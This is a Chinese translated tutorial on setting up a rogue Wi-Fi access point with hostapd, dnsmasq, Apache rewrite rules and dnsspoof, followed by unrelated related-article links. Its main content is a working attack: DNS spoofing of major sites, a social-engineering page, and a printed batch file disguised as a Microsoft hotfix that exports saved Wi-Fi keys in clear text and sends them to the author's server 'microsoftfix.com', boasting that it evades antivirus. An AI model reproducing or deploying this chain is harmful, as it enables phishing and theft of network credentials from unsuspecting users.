概述

*本文假设读者对设置伪AP接入点以及Apache配置有足够了解。

在本攻击场景中,我们将使用到alfa无线网卡以及用于网络访问的以太网连接(虚拟机环境下,物理机下无需此配置)。你也可以使用虚拟接口执行这种攻击,但一定要确保使用合适的的接口名。

所用工具

hostapd(或airbase-ng)dnsmasq(或isc-dhcp-server)Apache2Nano或Vi文本编辑器grep

为了攻击环境设置更方便快捷,我就直接使用相对趁手的非括号内的工具了,当然你也可以选择对自己方便的工具。

新手指南 – 设置伪AP接入点

Hostapd

可以建立一个开放式(不加密)的,WPA2 personal或WPA2 enterprise的无线网络

dnsmasq

轻量级DNS / DHCP服务器,用于解析机器间的dns请求,同时也可以作为DHCP服务器为客户端分配IP地址

Apache

虽说其仅仅只是作为一个供客户端访问的Web服务,在攻击中Apache以及Mysql都不是那么重要,然而使用Apache可以让你的Web服务以及伪无线热点更加丰富多彩。尽管根据攻击场景的不同,会有一些其他更先进的技术,但是只要你是想设置一个伪无线热点,那么hostapd以及dnsmasq则是不可或缺的。这里的先进技术则是指的Apache的产品特性以及其灵活性。

举例:

比如说你勾引用户连接上你架设的无线热点,单纯的只是想嗅探或者重定向流量,那么你就不需要使用到Apache。如果你需要响应基于用户发起的请求,想通过某些技巧获得更多的敏感信息,这时Apache就得登场了。
注意:所有命令都以root身份执行,如果你是非root用户(标准用户)记得使用sudo命令

安装:

确保安装最新版本的工具:

apt update
apt install hostapd dnsmasq apache2

接着创建一个用于保存所有配置文件的目录

cd ~/Desktop
mkdir fakeap/

配置hostapd:

创建一个空白文档用以写入配置文件,打开终端然后创建hostapd配置文件

nano hostapd.conf
interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Target AP Channel number>
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

保存并退出文档,每次执行攻击前都进行相应的修改
Channel选项中,如果数字填写不当很容易出问题

配置dnsmasq:

nano dnsmasq.conf
interface=<Fake AP Interface name>         # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

确保在dnsmasq.conf文件中定义接口名没有错

参数分解:

dhcp-range=10.0.0.10,10.0.0.250,12h:          客户端IP地址范围从 10.0.0.10 到 10.0.0.250, 网络子网掩码为 255.255.255.0 默认租约时间为 12小时.
dhcp-option=3,10.0.0.1: 3 为默认网关代码,随后是IP地址 i.e. 10.0.0.1
dhcp-option=6,10.0.0.1: 6 为DNS服务器随后是IP地址

这就是所有需要配置的信息了,简单吗?
接下来就运行服务,启动我们的伪无线热点吧!

Step 1:启动伪AP

首先结束掉可能会影响我们实验的运行进程

killall network-manager dnsmasq wpa_supplicant dhcpd

使用之前的配置文件启动hostapd
语法:hostapd /path/to/configuration/file.conf

cd ~/Desktop/fakeap/
hostapd hostapd.conf

成功启动hostapd,之后我们需要运行DHCP服务用以给客户端分配IP地址

Step 2:启动dhcp服务器

在调试模式下使用配置文件运行dnsmasq
语法:dnsmasq -C /path/to/configuration/file.conf -d

dnsmasq - C dnsmasq .conf - d

可选配置:

你可以为dnsmasq创建一个可选的fakehosts.conf文件,以便将目标网站流量重定向到你所需的IP地址

vi fakehosts .conf
10.0.0.1    apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com
10.0.0.1 apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com

只需给该文件加上-H参数传递给dnsmasq,之后这些站点的流量将得到控制。如果你只是希望针对某个网站或者特定客户端,可以早-H参数后面加上fakehosts.conf进行dns欺骗

dnsmasq -C dnsmasq.conf -H fakehosts.conf -d

Step 3:Apache2 webserver配置

Apache的Rewrite引擎允许我们处理Web请求,利用该技术我们可以玩出很多花样。无论是Android,iOS,Windows还是Mac,都可以通过apache websever定制针对不同类型设备的攻击,甚至可以精确到特定的操作系统版本。
比如说针对iOS 9.x客户端的攻击向量就与针对iOS 10客户端的攻击向量不同。
由于Windows机器的广泛使用,这里我们就以Windows机器为目标进行演示。
打开apache默认配置文件修改rewrite函数,这会将几乎所有URL重定向回我们架设的伪AP记录。
打开apache的默认配置文件

nano /etc/apache2/sites-enabled/000-default

在文件</ directory>标签之间的–> add后新开一行将/Fixit目录设置为例外(区分大小写)

<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all --> add RewriteEngine On
--> add RewriteCond %{REQUEST_URI} !^/Fixit
--> add RewriteRule ^.*$ /Fixit/ </Directory>

利用社会工程学技巧,同时设计网页引诱用户下载并执行payload。你需要将index.html文件放置到/var/www/html/Fixit/

启用mod_rewrite模块:

a2enmod rewrite

您必须重新启动apache2才能更新配置

service apache2 restart

Step 4:DNS欺骗

运行dnsspoof即可将所有HTTP(非HTTPS)请求重定向到我们的apache服务器,并且用户不会访问到互联网(IP转发为禁用状态)
如果你攻击接入互联网的域,则该方法没有什么用处。这种情况就使用dnsmasq结合上面介绍的fakehosts.conf文件进行攻击。
由于我们没有给用户提供互联网访问权限,所以直接运行:

dnsspoof -i wlan0       #wlan0 is interface hostapd is operating on

Step 5:获取密钥

运行Apache的access.log,并通过grep转发管道内容
该正则表达式将解析我们传入的20字符的SSID/name,AP身份验证类型以及8~64字符WLAN密钥

tail -F /var/log/apache2/access.log | grep -E -o "<name>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</name>"\|"<keyMaterial>..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</keyMaterial>"\|"<authentication>.?.?.?.?.?.?.?.?.?.?.?</authentication>" | uniq

命令分解:

tail -F <logfile>:    Tail -F参数将读取access.log文件末尾10行内容,等待并显示新增内容.

输出将实时传递给grep

grep:

-E :       用于解析PATTERN这个正则表达式扩展
-o : 仅打印匹配行中的匹配内容(非空), 输出单独成行
uniq: 移除重复条目

Step 6:封装

在/var/www/下建立一个名为Fixit的目录,注意区分大小写

mkdir /var/www/Fixit

Step 7:秘密武器

Apache中的index.html下载链接指向我的自定义文件。比如Microsoft-Windows-Hotfix.bat,这个批处理文件并不复杂,已过杀毒软件且不受防火墙影响。只要浏览器能正常工作,那么该文件就能工作

@echo off
SET mypath=%~dp0
netsh wlan export profile > nul
netsh wlan export profile key=clear > nul
setlocal enableextensions enabledelayedexpansion
set /a counter=0
set filecontent=
for %%b in (*.xml) do (
set /a counter=!counter! + 1
:: echo %%b
for /f "delims=" %%a in ('type "%mypath%%%b"') do (
set filecontent=!filecontent!%%a
)
)
echo !filecontent! > %filename%data.txt
@rem The next line is platform specific. Sometimes in a diff folder
"c:Program FilesInternet Exploreriexplore.exe" microsoftfix.com/"!filecontent!"

用户一旦执行该恶意Wi-Fi密钥嗅探器,它将提取并解码WLAN配置文件。在用户设备中打开浏览器,然后指向microsoftfix.com(我们搭建的服务器)且URL中包含了之前收获的密钥,内容将存储在我们的apache日志(/var/logs/apache2/access.log)
我选择使用URL,因为这将数据传输到服务器上最安全的方法。在大多数机器上的防火墙可能阻止FTP传输,但是由用户自主点击下载的文件则不会触发杀毒软件保护。
你所需要做的便是过滤验证类型以及重要的密钥(Wi-Fi密钥)数据,在步骤5我们就使用tail以及grep命令进行过滤了。

<name>rootsh3ll</name>
<authentication>WPA2PSK</authentication>
<keyMaterial>iamrootsh3ll</keyMaterial>

结语

本文所述其实只是一个大略,更多的细节以及技巧都在作者自己所著的电子书籍中。
译者在这里并不推荐各位读者购买:

其一该书没有中译版本,如果自己就有阅读英文文献的能力,多逛逛相关社区几乎就能了解其中的许多奇淫巧计。
其二外国的月亮不一定就比国内的更圆,技术没国界这话真的没错,国内玩得有时候比国外大兄弟还要更6些。

无线安全课堂:手把手教会你搭建伪AP接入点的更多相关文章

  1. 伪Ap接入点

    1.创建一个伪造的Ap接入点,必须购买一个无线网卡的设备,接受功率在300Mbps ,低于这个传输速率的值,效果很差,都达到用户可以连接验证的效果.其芯片必须支持kali linux 内核系统. 2. ...

  2. 学习笔记之C++入门到精通(名师教学·手把手教会)【职坐标】_腾讯课堂

    C++入门到精通(名师教学·手把手教会)[职坐标]_腾讯课堂 https://ke.qq.com/course/101465#term_id=100105503 https://github.com/ ...

  3. 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

    有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...

  4. hadoop(二)搭建伪分布式集群

    前言 前面只是大概介绍了一下Hadoop,现在就开始搭建集群了.我们下尝试一下搭建一个最简单的集群.之后为什么要这样搭建会慢慢的分享,先要看一下效果吧! 一.Hadoop的三种运行模式(启动模式) 1 ...

  5. hadoop搭建伪分布式集群(centos7+hadoop-3.1.0/2.7.7)

    目录: Hadoop三种安装模式 搭建伪分布式集群准备条件 第一部分 安装前部署 1.查看虚拟机版本2.查看IP地址3.修改主机名为hadoop4.修改 /etc/hosts5.关闭防火墙6.关闭SE ...

  6. 超详细!CentOS 7 + Hadoop3.0.0 搭建伪分布式集群

    超详细!CentOS 7 + Hadoop3.0.0 搭建伪分布式集群 ps:本文的步骤已自实现过一遍,在正文部分避开了旧版教程在新版使用导致出错的内容,因此版本一致的情况下照搬执行基本不会有大错误. ...

  7. Apache Nifi在Windows环境下搭建伪群集及证书登录

    代码地址如下:http://www.demodashi.com/demo/11986.html 前些时间做了关于Apache Nifi分布式集群的搭建分享,但很多时候要搭建分布式集群机器资源是个问题, ...

  8. 大数据江湖之即席查询与分析(下篇)--手把手教你搭建即席查询与分析Demo

    上篇小弟分享了几个“即席查询与分析”的典型案例,引起了不少共鸣,好多小伙伴迫不及待地追问我们:说好的“手把手教你搭建即席查询与分析Demo”啥时候能出?说到就得做到,差啥不能差人品,本篇只分享技术干货 ...

  9. 手把手教你搭建Pytest+Allure2.X环境详细教程,生成让你一见钟情的测试报告(非常详细,非常实用)

    简介 宏哥之前在做接口自动化的时候,用的测试报告是HTMLTestRunner,虽说自定义模板后能满足基本诉求,但是仍显得不够档次,高端,大气,遂想用其他优秀的report框架替换之.一次偶然的机会, ...

随机推荐

  1. jmeter 连接 sqlite 进行压力测试

  2. mysql 常用的语句

    1.查出当前的字段,放到一个字段中:GROUP_CONCAT(distinct b.patent_ip) ,如 (select GROUP_CONCAT(distinct b.patent_ip) f ...

  3. 6-Java-C(打印大X)

    题目描述: 小明希望用星号拼凑,打印出一个大X,他要求能够控制笔画的宽度和整个字的高度. 为了便于比对空格,所有的空白位置都以句点符来代替. 要求输入两个整数m n,表示笔的宽度,X的高度.用空格分开 ...

  4. docker 容器挂载主机目录,访问出现 cannot open directory /mnt/home/webroot/: Permission denied 的解决办法

    问题原因及解决办法 原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题: 1.在运行容器的时候,给容器加特权,及加上 --privileged= ...

  5. C#在Excel的簡單操作--適用:與DB數據的簡單交互

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.I ...

  6. webpack的详细介绍和使用

    // 一个常见的`webpack`配置文件 const webpack = require('webpack'); const HtmlWebpackPlugin = require('html-we ...

  7. 利用jquery制作滚动到指定位置触发动画

    <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>利用 ...

  8. UML-画类图与交互图的顺序

    并行.画完交互图,在画类图.交替进行.

  9. python3中shuffle函数

    1. shuffle函数与其他函数不一样的地方 shuffle函数没有返回值!shuffle函数没有返回值!shuffle函数没有返回值!仅仅是实现了对list元素进行随机排序的一种功能 请看下面的坑 ...

  10. getHiddenProp() 浏览器状态切换改变

    <script> function getHiddenProp() { var prefixes = ['webkit', 'moz', 'ms', 'o']; // if 'hidden ...